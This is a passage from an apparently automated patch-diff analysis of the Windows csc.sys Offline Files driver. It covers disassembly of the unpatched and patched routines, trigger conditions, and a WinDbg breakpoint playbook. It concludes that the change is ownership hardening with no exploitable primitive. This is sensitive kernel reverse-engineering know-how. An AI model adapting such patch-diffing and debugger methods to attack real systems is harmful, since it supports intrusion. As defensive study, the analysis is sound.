&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00479d2:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jne&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mi"&gt;0x1c00479ea&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00479d4:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00479d7:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;je&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0x1c00479ea&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00479d9:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r12b&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00479dc:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mi"&gt;0x1c00479ea&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00479de:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rel&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x1c00411e0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;; ZwOpenKey (no SD needed)&lt;/span&gt;

&lt;span class="c1"&gt;; --- Epilogue ---&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0047960:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0047963:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;je&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0x1c0047979&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0047965:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x52727343&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;; &amp;#39;CrsR&amp;#39; tag&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c004796a:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c004796d:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rel&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x1c00410c0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;; ExFreePoolWithTag&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0047979:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;esi&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c004797b:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mi"&gt;0x1c00479ea&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00479ea:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r11&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x70&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00479ef:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r11&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x38&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00479f3:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r11&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x40&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00479f7:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r11&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00479fa:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;pop&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r15&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00479fc:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;pop&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r14&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00479fe:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;pop&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r12&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0047a00:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;pop&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0047a01:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;pop&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0047a02:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;retn&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Patched counterpart (key blocks)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;; --- Patched CscRebootRenamepOpenKey (sub_1C004785C): gate removed; SD always built on create ---&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0047898:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;r8b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r8b&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;; arg3 (Create flag) — only decision now&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c004789b:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;je&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0x1c0047912&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;; !Create -&amp;gt; ZwOpenKey path&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c004789d:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x20&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00478a1:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mi"&gt;0x1c00454b0&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;; ALWAYS build SD on create&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00478a6:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00478a8:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;js&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0x1c0047962&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00478b6:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x20&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;; rdi = SD&lt;/span&gt;
&lt;span class="na"&gt;...&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00478f0:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp-0x10&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;; OA.SecurityDescriptor = SD&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00478f4:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rel&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x1c0041338&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;; ZwCreateKey (WITH SD)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Instruction-level diff highlights&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Offset (unpatched)&lt;/th&gt;
&lt;th&gt;Instruction&lt;/th&gt;
&lt;th&gt;Significance&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1c00478a3&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;call 0x1c00088b4&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Removed&lt;/strong&gt; in patch — the feature-flag gate&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1c00478aa&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;je 0x1c004797d&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Branch to NO-SD path (removed)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1c004797d&lt;/code&gt;–&lt;code&gt;0x1c00479a2&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;OA setup + &lt;code&gt;movdqu [rbp-0x10], xmm0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Zeroes OA.SecurityDescriptor (NULL SD)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1c00479c2&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;call [rel 0x1c0041338]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ZwCreateKey&lt;/code&gt; with &lt;code&gt;SecurityDescriptor = NULL&lt;/code&gt; (owner defaults; DACL inherited)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1c00478b9&lt;/code&gt; (safe)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;call 0x1c00454b0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;SD builder (only on safe path unpatched; always on create patched)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1c0047902&lt;/code&gt; (safe)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;mov [rbp-0x10], rdi&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Sets OA.SecurityDescriptor on safe path&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1c00454d5&lt;/code&gt; (SD builder)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;mov rbp, [rdx+0x108]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Reads &lt;code&gt;SeExports+0x108 = SeLocalSystemSid&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2&gt;5. Trigger Conditions&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Session:&lt;/strong&gt; A locally logged-on user (any privilege level that can invoke Offline Files / CSC operations) on a system running the unpatched &lt;code&gt;csc.sys&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Flag state:&lt;/strong&gt; The feature-usage flag at &lt;code&gt;Feature_2858196282__private_featureState (data_1C003A080)&lt;/code&gt; must be in the state where &lt;code&gt;Feature_2858196282__private_IsEnabledDeviceUsage (sub_1C00088B4)&lt;/code&gt; returns &lt;strong&gt;false&lt;/strong&gt; (bit &lt;code&gt;0x1&lt;/code&gt; of the resolved state is clear). This is the &lt;strong&gt;default/initial&lt;/strong&gt; state until telemetry inflight populates it.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Driver operation triggering key creation:&lt;/strong&gt; Perform an action that causes the CSC driver to initialize or create keys under &lt;code&gt;HKLM\System\CurrentControlSet\Services\CSC\Parameters&lt;/code&gt; (or a subkey such as a parameter-index subkey written by &lt;code&gt;CscRebootRenamepAddToKey (sub_1C006F42C)&lt;/code&gt;). This is normally reached during:&lt;/li&gt;
&lt;li&gt;First-time enabling of Offline Files,&lt;/li&gt;
&lt;li&gt;Cache initialization on a fresh boot,&lt;/li&gt;
&lt;li&gt;Reconfiguration of the cache location / size.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Key absent:&lt;/strong&gt; The target key must not already exist (otherwise &lt;code&gt;ZwCreateKey&lt;/code&gt; returns the existing handle and the existing ACL is unchanged).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Required values:&lt;/strong&gt; Both callers invoke the helper with &lt;code&gt;arg3 (Create) = 1&lt;/code&gt;, &lt;code&gt;arg4 (Disposition*)&lt;/code&gt; either &lt;code&gt;nullptr&lt;/code&gt; (&lt;code&gt;CscRebootRenameAddEntry (sub_1C006F0F4)&lt;/code&gt;) or &lt;code&gt;&amp;amp;var_f8&lt;/code&gt; (&lt;code&gt;CscRebootRenamepAddToKey (sub_1C006F42C)&lt;/code&gt;). No special data payload is needed — the difference is purely structural.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Race / ordering:&lt;/strong&gt; None intrinsic; the flag state must be false at the moment of the create call. In practice this is satisfied on a default install before the feature telemetry flips it.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Observable difference:&lt;/strong&gt; After key creation, read the key's security descriptor (e.g. &lt;code&gt;RegGetKeySecurity&lt;/code&gt; / &lt;code&gt;accesschk.exe -k HKLM\System\CurrentControlSet\Services\CSC\Parameters\&amp;lt;subkey&amp;gt;&lt;/code&gt;). On the unpatched binary with the feature gate off, the key's owner is whatever the creating (SYSTEM) context defaults to and its DACL is inherited from the parent. On the patched binary the key's owner is explicitly &lt;code&gt;NT AUTHORITY\SYSTEM&lt;/code&gt; (LocalSystem); its DACL is still the inherited one (the SD carries no DACL). The observable delta is the explicit owner SID, not the access-control (DACL) contents.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;6. Exploit Primitive &amp;amp; Development Notes&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Primitive:&lt;/strong&gt; None demonstrable. The change is a defense-in-depth ownership hardening: the newly created CSC reboot-rename keys now always get an owner-only security descriptor naming LocalSystem, instead of relying on the default owner of the creating (SYSTEM) context. No attacker-controlled input, no memory-safety issue, and no authorization boundary crossing is present or reachable in either build.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Why there is no reachable weak-ACL primitive:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;The security descriptor built by &lt;code&gt;CscRebootRenamepCreateSecurityDescriptor (sub_1C00454B0)&lt;/code&gt; sets only the &lt;strong&gt;owner&lt;/strong&gt;; it does not set a DACL. The DACL that governs who can read or write the key is inherited from the parent container &lt;code&gt;HKLM\System\CurrentControlSet\Services\CSC\Parameters&lt;/code&gt; in &lt;strong&gt;both&lt;/strong&gt; builds and is unchanged by the patch.&lt;/li&gt;
&lt;li&gt;The keys are created by the driver in the SYSTEM/kernel context, so even on the NULL-SD path the default owner is an admin-equivalent principal.&lt;/li&gt;
&lt;li&gt;On a default Windows install, the parent &lt;code&gt;...\Services&lt;/code&gt; container does not grant write access to non-admin principals, so the created key is not writable by standard users on either binary.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;What the change does provide:&lt;/strong&gt; deterministic, explicit ownership of the created key by LocalSystem, removing dependence on a feature-staging flag for a security-descriptor decision. This is a robustness/hardening improvement rather than the closure of an exploitable flaw.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mitigations / exploitability context:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;KASLR / SMEP / SMAP / HVCI / CFG:&lt;/strong&gt; Not relevant — there is no memory-corruption primitive here.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Driver signature enforcement / Secure Launch:&lt;/strong&gt; Not relevant to this change.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Real-world restrictions:&lt;/strong&gt; Because the DACL is unchanged and the owner is admin-equivalent in both builds, there is no standard-user-reachable tampering vector introduced or removed by this patch.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;7. Debugger PoC Playbook&lt;/h2&gt;
&lt;p&gt;This playbook is for a WinDbg/KD session attached to the &lt;strong&gt;unpatched&lt;/strong&gt; &lt;code&gt;csc.sys&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Breakpoints (ready-to-paste)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;bp csc_unpatched!CscRebootRenamepOpenKey (sub_1C004785C)
bp csc_unpatched+0x78a3     ; call Feature_2858196282__private_IsEnabledDeviceUsage (sub_1C00088B4) — THE removed feature-flag gate
bp csc_unpatched+0x797d     ; NO-SD OA setup block (only on the NULL-SD path)
bp csc_unpatched!CscRebootRenamepCreateSecurityDescriptor (sub_1C00454B0)   ; SD builder (LocalSystem-owner)
bp csc_unpatched!CscRebootRenameAddEntry (sub_1C006F0F4)   ; caller that creates CSC Parameters key
bp csc_unpatched!CscRebootRenamepAddToKey (sub_1C006F42C)   ; caller that creates parameter subkeys
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;If symbols are stripped, use the raw base-relative offsets (apply the loaded module base):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;bp csc_unpatched+0x4785C
bp csc_unpatched+0x478A3
bp csc_unpatched+0x4797D
bp csc_unpatched+0x454B0
bp csc_unpatched+0x6F0F4
bp csc_unpatched+0x6F42C
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Optionally set a hardware/conditional breakpoint on the actual &lt;code&gt;ZwCreateKey&lt;/code&gt; invocation:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;bp csc_unpatched+0x479C2    ; ZwCreateKey with NULL SD — confirm r8+0x28 == 0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;What to inspect at each breakpoint&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;At &lt;code&gt;CscRebootRenamepOpenKey (sub_1C004785C)&lt;/code&gt; entry:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;rcx&lt;/code&gt; = &lt;code&gt;Handle*&lt;/code&gt; (output)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;rdx&lt;/code&gt; = &lt;code&gt;UNICODE_STRING*&lt;/code&gt; path → &lt;code&gt;du poi(@rdx+0x8)&lt;/code&gt; to print the path string&lt;/li&gt;
&lt;li&gt;&lt;code&gt;r8b&lt;/code&gt; = Create flag (must be &lt;code&gt;1&lt;/code&gt; for the dangerous case)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;r9&lt;/code&gt; = optional Disposition* (may be NULL)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;At &lt;code&gt;+0x78A3&lt;/code&gt; (feature-flag call):&lt;/strong&gt; step over with &lt;code&gt;p&lt;/code&gt;, then read &lt;code&gt;eax&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;eax == 0&lt;/code&gt; → the NULL-SD path will be taken&lt;/li&gt;
&lt;li&gt;&lt;code&gt;eax != 0&lt;/code&gt; → safe SD path&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;At &lt;code&gt;+0x797D&lt;/code&gt;:&lt;/strong&gt; dump the &lt;code&gt;OBJECT_ATTRIBUTES&lt;/code&gt; about to be passed to &lt;code&gt;ZwCreateKey&lt;/code&gt;:&lt;/li&gt;
&lt;li&gt;&lt;code&gt;dt _OBJECT_ATTRIBUTES @rbp-0x30&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Confirm &lt;code&gt;SecurityDescriptor (@rbp-0x10)&lt;/code&gt; is &lt;strong&gt;0&lt;/strong&gt; and &lt;code&gt;SecurityQualityOfService (@rbp-0x8)&lt;/code&gt; is &lt;strong&gt;0&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;At &lt;code&gt;+0x479C2&lt;/code&gt; (ZwCreateKey call):&lt;/strong&gt; &lt;code&gt;r8 = OBJECT_ATTRIBUTES*&lt;/code&gt; → check &lt;code&gt;@@c++(@r8-&amp;gt;SecurityDescriptor)&lt;/code&gt;. &lt;code&gt;NULL&lt;/code&gt; confirms the NULL-SD path.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;At &lt;code&gt;CscRebootRenamepCreateSecurityDescriptor (sub_1C00454B0)&lt;/code&gt; return:&lt;/strong&gt; &lt;code&gt;[@rbp+0x48]&lt;/code&gt; (or &lt;code&gt;[@rbp+0x20]&lt;/code&gt; patched) holds the freshly allocated SD pointer. Step into &lt;code&gt;RtlSetOwnerSecurityDescriptor&lt;/code&gt; to confirm the owner SID is &lt;code&gt;S-1-5-18&lt;/code&gt; (LocalSystem).&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Key instructions / offsets&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0x1C00478A3&lt;/code&gt; — &lt;code&gt;call Feature_2858196282__private_IsEnabledDeviceUsage (sub_1C00088B4)&lt;/code&gt; (removed in patch; root cause).&lt;/li&gt;
